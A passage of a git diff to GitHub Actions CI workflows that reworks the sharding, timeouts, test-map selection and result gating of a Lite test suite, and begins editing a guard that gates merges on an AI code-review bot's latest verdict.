+  #   - The HASH cut, the original: a SHA-256 over the class name, modulo the shard count (SHA-256
+  #     rather than string.GetHashCode(), which is randomized per process ON PURPOSE). It is the
+  #     fallback: no timing source, or timings the packer cannot use (missing, corrupt, empty, all
+  #     zero, or covering under 80% of this commit's classes), cut this way. The shard count comes
+  #     from the matrix (strategy.job-total), so the cut and the matrix cannot disagree: that holds
+  #     while `shard` is the matrix's only axis, and a leg whose job-index is not its shard value
+  #     fails (see the run step).
+  # Totality used to hold by arithmetic; the duration cut earns it by proof. The packer's reconcile
+  # check fails the leg unless the shard files hold every discovered class exactly once. And a leg
+  # whose pinned timings cannot be downloaded, or whose download is not exactly the artifact set the
+  # gate pinned (one expired or was deleted since), FAILS instead of falling back or cutting on its
+  # own: all four legs must cut from the same inputs, or the four cuts would disagree and a class
+  # could run twice or not at all, which no check inside one leg can see. A re-run of a failed leg
+  # reuses the pin.
   #
-  # FOUR and not three, decided on measurement rather than taste: the hash balances CLASSES, and
+  # FOUR and not three, decided on measurement (of the hash cut) rather than taste: the hash balances CLASSES, and
   # Lite's classes carry uneven test counts, so a 3-way cut left one shard holding 42% of the tests
   # (~6½ minutes with setup) while another held 25%. At four the worst shard holds 27% (~5 minutes);
   # five would buy 0.4 minutes more for another Windows runner out of the shared pool this file's
@@ -1618,7 +2575,10 @@ jobs:
   # CrossAppGuardCiGateTests pins the copies equal, so they cannot drift apart silently.
   lite-tests:
     name: Lite tests
-    if: github.event_name != 'release'
+    # Fail fast on a pull request (#5459), exactly as the Darling PG shards: see the comment on that job. The same
+    # goes for test-map-select: see there.
+    needs: [gate, guard-tests, test-map-select]
+    if: ${{ !cancelled() && needs.gate.outputs.run == 'true' && github.event_name != 'release' && (needs.guard-tests.result == 'success' || github.event_name != 'pull_request') }}
     runs-on: windows-latest
     strategy:
       fail-fast: false
@@ -1626,9 +2586,29 @@ jobs:
         shard: [0, 1, 2, 3]
     # A shard is at most ~27% of a ~9½-minute suite plus ~2½ minutes of setup; 20 minutes is ~4x that,
     # past which something is hung and a shared-pool Windows runner is being held for nothing.
-    timeout-minutes: 20
+    #
+    # Raised from 20 to 30. The suite now runs roughly five times slower on hosted runners than the
+    # ~9.5 minutes above assumed, and it is still getting slower: the four shard durations summed to
+    # 18-22 min on Sep 30, 20-27 on Oct 1, 26-34 on Oct 2, 29-42 on Oct 3, 33-45 on Oct 4 and 41-55
+    # on Oct 5, about +7 min/day, while the suite gained only ~110 tests in the last day. So the cost
+    # is growing per test with the SIZE OF THE REPO, not with the number of tests - the suspects are
+    # the ~54 Lite.Tests classes that walk a directory or glob many files, whose work grows every
+    # time anyone adds a file. On a developer VM the whole suite still runs in ~10 minutes in one
+    # process, so this is specific to hosted runners' disk.
+    #
+    # A shard that crosses the cap is a RED THAT IS A TIMEOUT, not a test failure, and is easy to
+    # misread as a bug in whatever pull request happened to be in the train. This is a guard against
+    # those spurious reds, NOT a fix: the slowdown is tracked in #5208, and this value should come
+    # back down when it is fixed. At +7 min/day the slowest shard crosses 30 within about a week.
+    #
+    # The duration cut (#5208) attacks the imbalance, not the growth: on the run measured the slowest
+    # shard held 1.6x the mean test time, and equal shards put every shard near the mean. So the cap
+    # stays at 30 as the guard, and comes down when the slowest shard's measured time says it can.
+    timeout-minutes: 30
     permissions:
       contents: read
+      # Reads the pinned run's lite-tests-timing artifacts (gh run download in the shard step), nothing else.
+      actions: read
     steps:
       - uses: actions/checkout@v7
 
@@ -1639,7 +2619,8 @@ jobs:
           base: ${{ github.event_name == 'push' && github.event.before || '' }}
           filters: |
             # COPIES of the build job's root/core/lite predicates, generated from them and pinned
-            # byte-equal by CrossAppGuardCiGateTests.TheShardJobsFilters_AreByteForByteCopiesOfTheBuildJobs.
+            # byte-equal by CrossAppGuardCiGateTests.TheShardJobsFilters_AreByteForByteCopiesOfTheBuildJobs
+            # (the build job's `lite` set is carried here as lite_shard plus darling_reads_shard).
             # The REASONING for every entry lives at the build job's own filter block and is not
             # duplicated here — duplicated prose is prose that rots out of step. What matters is that
             # the sets stay identical: the shards must run the Lite suite in exactly the cases the
@@ -1666,55 +2647,365 @@ jobs:
             lite_shard:
               - 'Lite/**/!(*.md)'
               - 'Lite.Tests/**/!(*.md)'
+              # #5616: the Lite shard script and its packer are test inputs (Lite.Tests CrossAppGuardCiGateTests parses the script), so an edit to either has to reach the Lite suite.
+              - '.github/scripts/run-lite-shard.ps1'
+              - '.github/scripts/lite-shard-pack.py'
+            # The rest of the build job's `lite` set: the three Darling trees Lite.Tests reads as source.
+            # A diff that reaches ONLY these (no lite_shard, core_shard or root_shard entry) runs just the
+            # Lite.Tests classes tagged [Trait("Reads", "Darling")], in one shard; see the scope step below.
+            # lite_shard followed by darling_reads_shard is the build job's `lite` set, entry for entry.
+            darling_reads_shard:
               - 'Darling/PerformanceMonitor.Darling.Viewer/**/!(*.md)'
               - 'Darling/Darling.Tests/**/!(*.md)'
               - 'Darling/PerformanceMonitor.Darling.Service/**/!(*.md)'
+            # Darling.Tests files that Lite.Tests.csproj COMPILES into its own assembly. An edit to one
+            # changes code that dozens of Lite.Tests classes run, not just text they read, so it takes the
+            # whole suite. Not part of the build job's `lite` set (those entries are covered there by the
+            # Darling.Tests tree); DarlingReadsTraitGuardTests pins this list to the project's linked compiles.
+            lite_linked_shard:
+              - 'Darling/Darling.Tests/CSharpSourceWalker.cs'
+              - 'Darling/Darling.Tests/McpInProcessHost.cs'
+              - 'Darling/Darling.Tests/McpArgumentTypeRows.cs'
+              - 'Darling/Darling.Tests/StatementScrubCanary.cs'
+              - 'Darling/Darling.Tests/GuardStageScanner.cs'
+              - 'Darling/Darling.Tests/StaTestThread.cs'
+              - 'Darling/Darling.Tests/TimingTestScanner.cs'
+              - 'Darling/Darling.Tests/WpfExitSwitchTests.cs'
+      # How much of the Lite suite THIS leg runs, decided from the filter answers alone (no build needed):
+      #   full  - a Lite, Lite.Tests, core or root path changed, or a Darling.Tests file that Lite.Tests
+      #           compiles into itself, or the event is not a pull request (a push
+      #           to dev or main, a merge-queue run): the whole suite, cut across the four legs by
+      #           duration (or by class-name hash when no timing source is pinned), see the job header.
+      #   reads - a pull request whose diff reaches ONLY the Darling trees Lite.Tests reads as source: just
+      #           the classes tagged [Trait("Reads", "Darling")], all of them in shard 0. Legs 1-3 do nothing.
+      #   none  - nothing the Lite suite depends on changed.
+      # `run` is this leg's own answer: every step below keys on it.
+      - name: Decide how much of the Lite suite runs
+        id: scope
+        shell: bash
+        env:
+          EVENT_NAME: ${{ github.event_name }}
+          SHARD: ${{ matrix.shard }}
+          LITE: ${{ steps.filter.outputs.lite_shard }}
+          CORE: ${{ steps.filter.outputs.core_shard }}
+          ROOT: ${{ steps.filter.outputs.root_shard }}
+          DARLING_READS: ${{ steps.filter.outputs.darling_reads_shard }}
+          LINKED: ${{ steps.filter.outputs.lite_linked_shard }}
+        run: |
+          set -euo pipefail
+
+          # The ladder (full / reads / none) and the which-shard rule live in .github/scripts/ci-select.py, the one
+          # place the selection rules are kept (#5459). It prints `mode=...` and `run=...`; the replay of the
+          # failure corpus checks the same function.
+          decision=$(python .github/scripts/ci-select.py lite-scope --event "${EVENT_NAME}" --shard "${SHARD}" \
+            --lite "${LITE}" --core "${CORE}" --root "${ROOT}" --reads "${DARLING_READS}" --linked "${LINKED}")
+          echo "${decision}" >> "$GITHUB_OUTPUT"
+          mode=$(echo "${decision}" | sed -n 's/^mode=//p')
+          run=$(echo "${decision}" | sed -n 's/^run=//p')
+          echo "::notice title=Lite scope::mode=${mode}, shard ${SHARD} runs=${run}"
+
+      # Shared build (#5459 change 2): this run's Guard job already built this test project in Release and uploaded
+      # it before running its tests (see the header on that job). Fetch it instead of restoring and building again.
+      # continue-on-error: no artifact (a release, a docs-only change, a Guard build that failed) is the normal
+      # fallback, not a failure, and the check below turns it into a notice and the old restore and build.
+      - name: Fetch the Guard job's build of the test project
+        id: guard-build
+        if: steps.scope.outputs.run == 'true' && needs.guard-tests.outputs.lite_build_artifact != ''
+        continue-on-error: true
+        uses: actions/download-artifact@v6
+        with:
+          name: ${{ needs.guard-tests.outputs.lite_build_artifact }}
+          path: .
+
+      # #5459 live selection: this run's test map selection, from the test-map-select job (pull requests only). Same
+      # run, never another run's artifact. Every way it can be missing (not a pull request, the job failed or was skipped, no artifact, a
+      # failed download) leaves TEST_MAP_SELECTION empty in the test step below, and an empty one means every class runs.
+      - name: Download the test map selection
+        id: map-selection
+        if: github.event_name == 'pull_request' && needs.test-map-select.result == 'success'
+        continue-on-error: true
+        uses: actions/download-artifact@v6
+        with:
+          name: test-map-selection
+          path: test-map-selection
+
+      # A fetched build that is not for THIS workspace and commit is an error, never a quiet fallback: the tests
+      # find the repo root through [CallerFilePath], so a binary built in another path would read another tree.
+      - name: Check the fetched build is for this workspace and commit
+        id: guard-build-check
+        if: steps.scope.outputs.run == 'true'
+        shell: pwsh
+        env:
+          FETCH_OUTCOME: ${{ steps.guard-build.outcome }}
+          THIS_WORKSPACE: ${{ github.workspace }}
+          THIS_SHA: ${{ github.sha }}
+          REQUIRED_FILES: Lite.Tests/bin/Release/net10.0-windows/Lite.Tests.dll;Lite.Tests/obj/project.assets.json
+        run: |
+          $ErrorActionPreference = 'Stop'
+          if ($env:FETCH_OUTCOME -ne 'success') {
+            Write-Host "::notice title=Building the test project here::No Guard job build was fetched for this run (fetch outcome '$env:FETCH_OUTCOME'; skipped means the Guard job published none), so this job restores and builds for itself and runs every class, Stage=Guard included."
+            'used=false' | Out-File -FilePath $env:GITHUB_OUTPUT -Append -Encoding utf8
+            exit 0
+          }
+          $origin = @{}
+          if (Test-Path guard-build-origin.txt) {
+            foreach ($line in Get-Content guard-build-origin.txt) { if ($line -match '^(\w+)=(.*)$') { $origin[$Matches[1]] = $Matches[2] } }
+          }
+          if ($origin['workspace'] -ne $env:THIS_WORKSPACE -or $origin['sha'] -ne $env:THIS_SHA) {
+            Write-Host "::error title=Guard build is for another workspace or commit::The fetched build says workspace '$($origin['workspace'])' at '$($origin['sha'])'; this job is at '$env:THIS_WORKSPACE' at '$env:THIS_SHA'."
+            exit 1
+          }
+          foreach ($file in ($env:REQUIRED_FILES -split ';')) {
+            if (-not (Test-Path $file)) {
+              Write-Host "::error title=Guard build is incomplete::The fetched build has no $file."
+              exit 1
+            }
+          }
+          Write-Host "::notice title=Using the Guard job's build::The test project was built by the Guard job of this run at the same workspace and commit, so this job skips its restore and build and leaves out the Stage=Guard classes that job ran."
+          'used=true' | Out-File -FilePath $env:GITHUB_OUTPUT -Append -Encoding utf8
+
       - name: Setup .NET 10.0
-        if: steps.filter.outputs.lite_shard == 'true' || steps.filter.outputs.core_shard == 'true' || steps.filter.outputs.root_shard == 'true'
+        if: steps.scope.outputs.run == 'true'
         uses: actions/setup-dotnet@v6
         with:
           global-json-file: global.json
-          cache: true
+          cache: ${{ steps.guard-build-check.outputs.used != 'true' }}
           cache-dependency-path: '**/packages.lock.json'
 
       - name: Restore Lite.Tests
-        if: steps.filter.outputs.lite_shard == 'true' || steps.filter.outputs.core_shard == 'true' || steps.filter.outputs.root_shard == 'true'
+        if: steps.scope.outputs.run == 'true' && steps.guard-build-check.outputs.used != 'true'
         run: dotnet restore Lite.Tests/Lite.Tests.csproj --locked-mode
 
       - name: Build Lite.Tests
-        if: steps.filter.outputs.lite_shard == 'true' || steps.filter.outputs.core_shard == 'true' || steps.filter.outputs.root_shard == 'true'
+        if: steps.scope.outputs.run == 'true' && steps.guard-build-check.outputs.used != 'true'
         run: dotnet build Lite.Tests/Lite.Tests.csproj -c Release --no-restore
 
+      # #5208: the packer's own proof (totality, input-order determinism, the hash fallback, serial-aware weighting). No build needed.
+      - name: Shard packer self-test
+        if: matrix.shard == 0
+        run: python .github/scripts/lite-shard-pack.py --self-test
+
+      # #5208: the timing summary's own proof (per-class CPU column, the coverage line). No build needed.
+      - name: Lite timing summary self-test
+        if: matrix.shard == 0
+        run: python .github/scripts/lite-timing-top.py --self-test
+
       # The class list comes off the built assembly itself (-list classes/json), so the population is
       # whatever exists on THIS commit — no roster. An empty selection is a hard error, not a skip:
       # with zero -class arguments the runner executes the WHOLE suite, so "my shard is empty" and
       # "run everything" are one argument-list apart — the loudest possible difference to get wrong
-      # quietly. (394 classes across four shards make an empty one arithmetically implausible; the
-      # measured split is 27/26/25/22% of tests, so the arm is a guard, not an expectation.)
+      # quietly. (Hundreds of classes across four shards make an empty one implausible under either cut,
+      # so the arm is a guard, not an expectation.)
+      # #5587: the Darling PG job lost a shard to the JOB's timeout (its later steps stayed pending and no log was kept).
+      # This job has the same shape, so its test step gets a timeout of its own, under the job's 30 minutes, and the
+      # runner prints a test that has run for 5 minutes. The slowest Lite shard measured 14 minutes in this step.
       - name: Run Lite tests (shard)
-        if: steps.filter.outputs.lite_shard == 'true' || steps.filter.outputs.core_shard == 'true' || steps.filter.outputs.root_shard == 'true'
+        if: steps.scope.outputs.run == 'true'
+        timeout-minutes: 22
         shell: pwsh
+        env:
+          # The timing source the gate pinned for the WHOLE run (empty: none, so the hash cut). Read from
+          # the gate's output, never looked up here: see the job header and the gate's timing-source step.
+          LITE_TIMING_RUN: ${{ needs.gate.outputs.lite_timing_run }}
+          LITE_TIMING_ARTIFACTS: ${{ needs.gate.outputs.lite_timing_artifacts }}
+          GH_TOKEN: ${{ github.token }}
+          GH_REPO: ${{ github.repository }}
+          LITE_SCOPE_MODE: ${{ steps.scope.outputs.mode }}
+          # #5459 change 5: the slow-skip lookup reads the pull request's file list through the API (GH_TOKEN above).
+          SLOW_EVENT: ${{ github.event_name }}
+          SLOW_PR: ${{ github.event.pull_request.number }}
+          SLOW_REPO: ${{ github.repository }}
+          # #5459: a pull request into main runs everything, Cost=Slow classes too (ci-select.py narrows).
+          SLOW_BASE_REF: ${{ github.base_ref }}
+          # 'true' only when this shard used the Guard job's build of this run, which proves that job ran the Stage=Guard classes.
+          GUARD_BUILD_USED: ${{ steps.guard-build-check.outputs.used }}
+          # #5459 live selection: empty unless this pull request run downloaded a selection (see the step above).
+          TEST_MAP_SELECTION: ${{ steps.map-selection.outcome == 'success' && format('{0}\test-map-selection\selection.json', github.workspace) || '' }}
+        # #5616: the cut (timing-packed or hash), the test map selection (#5459, else the Cost=Slow skip), the chunking and the per-chunk runs live in
+        # .github/scripts/run-lite-shard.ps1, the ONE copy that nightly.yml's lite-tests job calls too.
         run: |
-          $ErrorActionPreference = 'Stop'
-          $lines = @(dotnet run --project Lite.Tests/Lite.Tests.csproj -c Release --no-build -- -list classes/json)
-          if ($LASTEXITCODE -ne 0) { throw "class listing failed with exit code $LASTEXITCODE" }
-          # Only the runner's one-line JSON array is parsed; see the Darling shard step (a CLI notice on stdout).
-          $json = @($lines | Where-Object { $_ -match '^\s*\[' })
-          if ($json.Count -ne 1) { throw "expected one JSON array line from the class listing, got $($json.Count): $($lines -join ' | ')" }
-          $classes = @($json[0] | ConvertFrom-Json)
-          if ($classes.Count -eq 0) { throw 'the class listing returned no classes - the shard would silently run nothing' }
-
-          $sha = [System.Security.Cryptography.SHA256]::Create()
-          $mine = @($classes | Where-Object {
-              $hash = $sha.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($_))
-              ($hash[0] % 4) -eq ${{ matrix.shard }}
-          })
-          Write-Host "shard ${{ matrix.shard }}: $($mine.Count) of $($classes.Count) classes"
-          if ($mine.Count -eq 0) { throw "shard ${{ matrix.shard }} selected zero of $($classes.Count) classes - refusing to run, because a runner with no -class arguments runs the whole suite" }
-
-          $shardArgs = foreach ($class in $mine) { '-class'; $class }
-          dotnet run --project Lite.Tests/Lite.Tests.csproj -c Release --no-build -- @shardArgs
-          exit $LASTEXITCODE
+          ./.github/scripts/run-lite-shard.ps1 -Shard ${{ matrix.shard }} -ShardCount ${{ strategy.job-total }} -JobIndex ${{ strategy.job-index }} -EventName $env:SLOW_EVENT -GuardBuildUsed $env:GUARD_BUILD_USED -ScopeMode $env:LITE_SCOPE_MODE -TimingRun $env:LITE_TIMING_RUN -TimingArtifacts $env:LITE_TIMING_ARTIFACTS -RunAttempt ${{ github.run_attempt }} -SelectionFile $env:TEST_MAP_SELECTION
+
+      # #5208: where the time goes. Informational; a parse problem must never turn the shard red.
+      - name: Lite test timing summary
+        if: always()
+        continue-on-error: true
+        run: python .github/scripts/lite-timing-top.py TestResults
+
+      - name: Upload Lite test timings
+        if: always()
+        continue-on-error: true
+        uses: actions/upload-artifact@v6
+        with:
+          name: lite-tests-timing-${{ matrix.shard }}
+          path: |
+            TestResults/lite-timing-*.xml
+            TestResults/lite-timing-*.xml.cpu.json
+          retention-days: 7
+          overwrite: true
+          if-no-files-found: ignore
+
+      # #5587: the runner output, uploaded whatever the test step did (see the note on the test step).
+      - name: Upload Lite runner output
+        if: always()
+        continue-on-error: true
+        timeout-minutes: 5
+        uses: actions/upload-artifact@v6
+        with:
+          name: lite-runner-log-${{ matrix.shard }}
+          path: TestResults/lite-runner-*.log
+          retention-days: 7
+          if-no-files-found: ignore
+
+  # #5459 change 4, live. Computes which classes the test map picks for this pull request, prints them in the step
+  # summary and uploads them as the `test-map-selection` artifact. `build`, `darling-pg` and `lite-tests` wait for it
+  # (it starts with the Guard tests job, which they wait for anyway), download the artifact and run only the classes it
+  # names, after their own hash cut (ci-select.py `map-keep`, run-darling-pg-shard.ps1, run-lite-shard.ps1). They keep
+  # the Guard stage. A FULL, missing, unreadable or empty selection, and a job that failed or was cancelled and so
+  # left nothing to download, mean the shard runs every class it was cut: the selection only ever narrows. A selection
+  # is never "late": the shards `needs` this job, so a hung one only delays them, by up to its 5-minute cap. NOT a
+  # required check, and continue-on-error: its own failure is a notice at most. A missing,
+  # unreadable, old or wrong-schema map, a failed download and a failed diff all mean FULL. Pull requests only; a push,
+  # a merge group and the nightly never get a selection, so they run everything.
+  test-map-select:
+    name: Test map selection
+    needs: [gate]
+    if: github.event_name == 'pull_request' && needs.gate.outputs.run == 'true'
+    runs-on: ubuntu-latest
+    timeout-minutes: 5
+    continue-on-error: true
+    permissions:
+      contents: read
+      actions: read
+    steps:
+      - uses: actions/checkout@v7
+        continue-on-error: true
+        with:
+          fetch-depth: 0
+
+      - name: Select from the pinned map
+        shell: bash
+        env:
+          GH_TOKEN: ${{ github.token }}
+          GH_REPO: ${{ github.repository }}
+          MAP_RUN: ${{ needs.gate.outputs.test_map_run }}
+          MAP_SHA: ${{ needs.gate.outputs.test_map_sha }}
+          BASE_SHA: ${{ github.event.pull_request.base.sha }}
+          # #5459: a pull request into main (the release gate) always runs everything; map-select answers FULL for it.
+          BASE_REF: ${{ github.base_ref }}
+        run: |
+          set -uo pipefail
+
+          mkdir -p shadow
+          full() {
+            echo "::notice title=Test map selection::The selection is FULL: $1"
+            printf '### Test map selection (#5459): every shard runs every class\n\nSelection: FULL (%s).\n' "$1" > shadow/summary.md
+          }
+          if [ -z "${MAP_RUN}" ]; then
+            full "no test map is pinned for this run"
+          else
+            ok=0
+            for attempt in 1 2 3; do
+              rm -rf shadow/map
+              if gh run download "${MAP_RUN}" -n test-map -D shadow/map; then ok=1; break; fi
+              sleep 5
+            done
+            if [ "${ok}" != "1" ]; then
+              full "the pinned map could not be downloaded"
+            elif ! git diff --no-renames --name-only "${BASE_SHA}" HEAD > shadow/changed.txt; then
+              full "the changed files could not be listed"
+            elif ! timeout 120 python .github/scripts/ci-select.py map-select --map shadow/map/test-map.json.gz --event pull_request --base-ref "${BASE_REF}" --base "${BASE_SHA}" --files-from shadow/changed.txt --out shadow/selection.json --summary shadow/summary.md; then
+              rm -f shadow/selection.json
+              full "the selection script failed"
+            else
+              echo "Map: nightly run ${MAP_RUN}, commit ${MAP_SHA:0:10}." >> shadow/summary.md
+            fi
+          fi
+          cat shadow/summary.md >> "$GITHUB_STEP_SUMMARY" || true
+          exit 0
+
+      - name: Upload the selection
+        continue-on-error: true
+        uses: actions/upload-artifact@v6
+        with:
+          name: test-map-selection
+          path: shadow/selection.json
+          retention-days: 7
+          overwrite: true
+          if-no-files-found: ignore
+
+  # The check kept from shadow mode: after every shard has finished, list each class that FAILED although the map
+  # did not pick it (a shadow miss: now only a class that ran anyway, in the Guard job or in a shard that ran
+  # everything), and keep one JSONL row per run (artifact test-map-shadow-row, 30 days).
+  # Failed classes come from the shards' xunit reports (darling-tests-timing-N, lite-tests-timing-N). A shard that
+  # wrote no readable report shows up as a lower report count in the row, never as an error. Optional and
+  # continue-on-error like the job above: it can lengthen the run by its own thirty seconds and cannot redden it.
+  shadow-check:
+    name: Test map shadow check
+    needs: [gate, guard-tests, test-map-select, darling-pg, lite-tests]
+    if: always() && github.event_name == 'pull_request' && needs.gate.outputs.run == 'true'
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    continue-on-error: true
+    permissions:
+      contents: read
+      actions: read
+    steps:
+      - uses: actions/checkout@v7
+        continue-on-error: true
+        with:
+          sparse-checkout: .github/scripts
+
+      - name: Download the selection
+        continue-on-error: true
+        uses: actions/download-artifact@v6
+        with:
+          name: test-map-selection
+          path: shadow/selection
+
+      - name: Download the shard reports
+        continue-on-error: true
+        uses: actions/download-artifact@v6
+        with:
+          pattern: '*-tests-timing-*'
+          path: shadow/reports
+
+      - name: List the shadow misses
+        shell: bash
+        env:
+          RUN_ID: ${{ github.run_id }}
+          RUN_ATTEMPT: ${{ github.run_attempt }}
+          PR_NUMBER: ${{ github.event.pull_request.number }}
+          HEAD_SHA: ${{ github.event.pull_request.head.sha }}
+          MAP_SHA: ${{ needs.gate.outputs.test_map_sha }}
+          SELECTION_JOB: ${{ needs.test-map-select.result }}
+          GH_TOKEN: ${{ github.token }}
+          GH_REPO: ${{ github.repository }}
+        run: |
+          set -uo pipefail
+
+          meta=$(printf '{"run":"%s","attempt":"%s","pr":"%s","head":"%s","map_sha":"%s","selection_job":"%s"}' "${RUN_ID}" "${RUN_ATTEMPT}" "${PR_NUMBER}" "${HEAD_SHA}" "${MAP_SHA}" "${SELECTION_JOB}")
+          mkdir -p shadow
+          # The latest attempt's jobs: the row lists the failed ones (a job can fail with no failed test). The check
+          # does not filter reports by this attempt: it keeps each artifact folder's highest attempt (#5459). A failed call
+          # only leaves failed_jobs out of the row.
+          gh api --paginate "repos/${GH_REPO}/actions/runs/${RUN_ID}/attempts/${RUN_ATTEMPT}/jobs?per_page=100" --jq '.jobs[] | {name, conclusion}' > shadow/jobs.jsonl || rm -f shadow/jobs.jsonl
+          if timeout 120 python .github/scripts/ci-select.py shadow-check --selection shadow/selection/selection.json --reports shadow/reports --out shadow/row.jsonl --meta "${meta}" --jobs shadow/jobs.jsonl; then
+            { echo "### Test map shadow check (#5459)"; echo; echo '```json'; cat shadow/row.jsonl; echo '```'; } >> "$GITHUB_STEP_SUMMARY" || true
+          else
+            echo "::notice title=Test map shadow check::The check script failed, so this run has no shadow row."
+          fi
+          exit 0
+
+      - name: Upload the shadow row
+        continue-on-error: true
+        uses: actions/upload-artifact@v6
+        with:
+          name: test-map-shadow-row
+          path: shadow/row.jsonl
+          retention-days: 30
+          overwrite: true
+          if-no-files-found: ignore
 
   # The one result branch protection can require. Four matrix legs cannot each be a required check
   # without hard-coding the shard count into repo settings, and a leg that never starts reports
@@ -1724,7 +3015,7 @@ jobs:
   # (result)" for the shards to gate merges — noted on #3887.)
   lite-tests-result:
     name: Lite tests (result)
-    needs: lite-tests
+    needs: [gate, guard-tests, lite-tests]
     if: ${{ !cancelled() && github.event_name != 'release' }}
     runs-on: ubuntu-latest
     timeout-minutes: 5
@@ -1734,13 +3025,44 @@ jobs:
         shell: bash
         env:
           RESULT: ${{ needs.lite-tests.result }}
+          GUARD_RESULT: ${{ needs.guard-tests.result }}
+          GATE_RESULT: ${{ needs.gate.result }}
+          GATE_RUN: ${{ needs.gate.outputs.run }}
+          EVENT_NAME: ${{ github.event_name }}
         run: |
           set -euo pipefail
+          # A gate that did not succeed leaves every job it feeds skipped, which would read as green here.
+          if [ "${GATE_RESULT}" != "success" ]; then
+            echo "::error title=CI gate failed::needs.gate.result='${GATE_RESULT}' - the job that decides whether CI runs did not succeed, so nothing ran. Re-run the workflow."
+            exit 1
+          fi
+          # A declined run (draft or merge-train) leaves every job skipped, which would also read as green.
+          if [ "${EVENT_NAME}" = "pull_request" ] && [ "${GATE_RUN}" != "true" ]; then
+            echo "::error title=CI not run::This pull request's CI was skipped (draft or merge-train label). It can be merged only by an admin override after a merge train covered it."
+            exit 1
+          fi
+          # The Guard tests job runs first on a pull request (#5459). When it did not succeed the shards were
+          # skipped on purpose, and a skipped matrix reads as green, so this is where that becomes a failure. On
+          # a push, a merge-queue run or a release the shards ran whatever the guards said, but a guard that did
+          # not pass is still a failure. `skipped` is fine on a release only: the guard job does not run there.
+          if [ "${GUARD_RESULT}" != "success" ] && ! { [ "${EVENT_NAME}" = "release" ] && [ "${GUARD_RESULT}" = "skipped" ]; }; then
+            if [ "${EVENT_NAME}" = "pull_request" ]; then
+              echo "::error title=Guard tests failed::needs.guard-tests.result='${GUARD_RESULT}' - the Guard tests job did not succeed, so the shards did not run. Read that job's log for the failing class."
+            else
+              echo "::error title=Guard tests failed::needs.guard-tests.result='${GUARD_RESULT}' - the Guard tests job did not succeed. The shards ran anyway on this event; read that job's log for the failing class."
+            fi
+            exit 1
+          fi
           case "${RESULT}" in
             success)
-              echo "::notice title=Lite shards green::All four class-hash shards succeeded (or every leg's filters said the Lite suite is untouched by this diff)." ;;
+              echo "::notice title=Lite shards green::All four shards succeeded (or every leg's filters said the Lite suite is untouched by this diff)." ;;
             skipped)
-              echo "::notice title=Lite shards skipped::The matrix job itself was skipped, which only the release guard does - and releases run the whole suite unsharded in the build job." ;;
+              # Not a by-design skip any more (#5459). The matrix job is skipped on purpose in three cases: the
+              # gate declined the run, the guard job failed on a pull request, and a release (the build job runs
+              # the suite whole there). The first two are errors above, and this job does not run on a release
+              # (its own `if:`), so a skip that reaches this line is unplanned and must not read as a pass.
+              echo "::error title=Lite shards skipped::needs.lite-tests.result='skipped' although the gate ran this event and the guards passed, so no shard reported. The suite has NOT passed on this commit."
+              exit 1 ;;
             *)
               echo "::error title=Lite shards failed::needs.lite-tests.result='${RESULT}' - at least one shard failed or was cancelled. The suite has NOT passed on this commit."
               exit 1 ;;
diff --git a/.github/workflows/claude-review-guard.yml b/.github/workflows/claude-review-guard.yml
index 2832936f7f..6f9f14fa6e 100644
--- a/.github/workflows/claude-review-guard.yml
+++ b/.github/workflows/claude-review-guard.yml
@@ -18,8 +18,10 @@ name: Claude review guard
 # #3470: posting is not the same as being read. One night's PR train collected six review findings
 # as comments (one real) and auto-merge outran every one, because nothing made a finding cost
 # anything. So when the prompt promises a verdict review (the same sentinel), this guard also reads
-# the bot's newest formal review and fails while it says CHANGES_REQUESTED -- newest-verdict-wins,
-# so the fresh clean verdict a re-review submits clears the gate by itself, no --approve required.
+# the bot's newest VERDICT -- its newest review that carries a body, because the inline-comment
+# tool files each comment in a bodiless review of its own -- and fails while it says
+# CHANGES_REQUESTED. Newest-verdict-wins: the fresh clean verdict a re-review submits clears the
+# check by itself, no --approve required.
 #
 # This guard is a SEPARATE workflow on purpose. Editing claude-review.yml makes this branch's copy
 # differ from the default branch, which triggers cause (1) for EVERY pull request in the repo until
@@ -44,25 +46,76 @@ name: Claude review guard
 # unreviewed edit -- the drift is hostile and the arm fails exactly as before. When the guard cannot
 # tell, because a lookup died, it fails CLOSED with its own message: an unexplained drift is the one
 # condition this check exists to make loud, and a 503 must not wave one through.
+#
+# It runs on pull requests into dev only, the branch claude-review.yml reviews. A release pull request
+# into main gets no review, so this check has no verdict to read there and does not run.
+#
+# What the review does per event (claude-review.yml decides it, once, in its `decide` job; this guard
+# does not repeat the decision, it reads what the review run did): a full review when a pull request
+# opens, reopens or is marked ready, and on the `re-review` label; ONE cheaper follow-up review per
+# full one on a push, and nothing for the push after that; nothing for a draft or another label. So
+# "the review did not run" is no longer always a defect. A run whose review job was SKIPPED on
+# purpose (the decide job succeeded, the review job was skipped) is not a failure here, but it is
+# not a clean bill either: the newest verdict still stands, and a changes-requested one still fails
+# the check until a fresh full review (the `re-review` label) or a human dismissal replaces it. A
+# decide job that FAILED is not a skip on purpose and fails the check. A review run that was
+# CANCELLED is not one either: it fails the check unless a newer push has replaced the head it was
+# reviewing, in which case that push's own check judges the new head, or a newer review run for the
+# same head has replaced it, in which case this check waits for that run and judges it instead.
+#
+# Every read that decides the result fails the check when it fails. A GET that hits a rate limit, a
+# server error or a failed later page is not a verdict, and it is not "no review" or "no standing
+# objection" either, so the check goes red, names the read, and a re-run of the guard retries it.
+# The one retried read is the review-run listing: a failed poll uses up one attempt, and "no review
+# run exists" is concluded only from a listing that succeeded and came back empty. A review that
+# was skipped on purpose, a review the action itself skipped, a pull request that edits the review
+# workflow, and a review that did not finish inside the guard window each read the standing verdict
+# before they pass.
+#
+# Known limit: `pull_request` runs the pull request's own copy of this file, so a pull request can
+# edit the guard itself.
 on:
   pull_request:
-    types: [opened, synchronize, reopened]
-    branches: [dev, main]
+    # A draft is skipped, as claude-review.yml skips it: with no review to wait for, a draft run could
+    # only fail. Marking the pull request ready for review runs both. `labeled` re-checks the standing
+    # verdict (and waits for a `re-review` review); the poll below ignores the review runs that a
+    # draft or an unrelated label skipped, so such a run finds the review that matters.
+    types: [opened, synchronize, reopened, ready_for_review, labeled]
+    # Pull requests into dev only, the same branch claude-review.yml reviews.
+    branches: [dev]
 
 # Match the review's own cancel-in-progress behavior. A new push cancels the review it is watching,
 # so the guard has to go too, or it waits out its deadline on a run that was cancelled by design.
+# A run that supersedes nothing (a draft, or a label other than re-review) gets a group of its own,
+# for the reason the review gives: with cancel-in-progress a run that will not wait on anything new
+# would cancel the guard that is. The suffix is `cond && value || ''`, never `cond && '' || value`
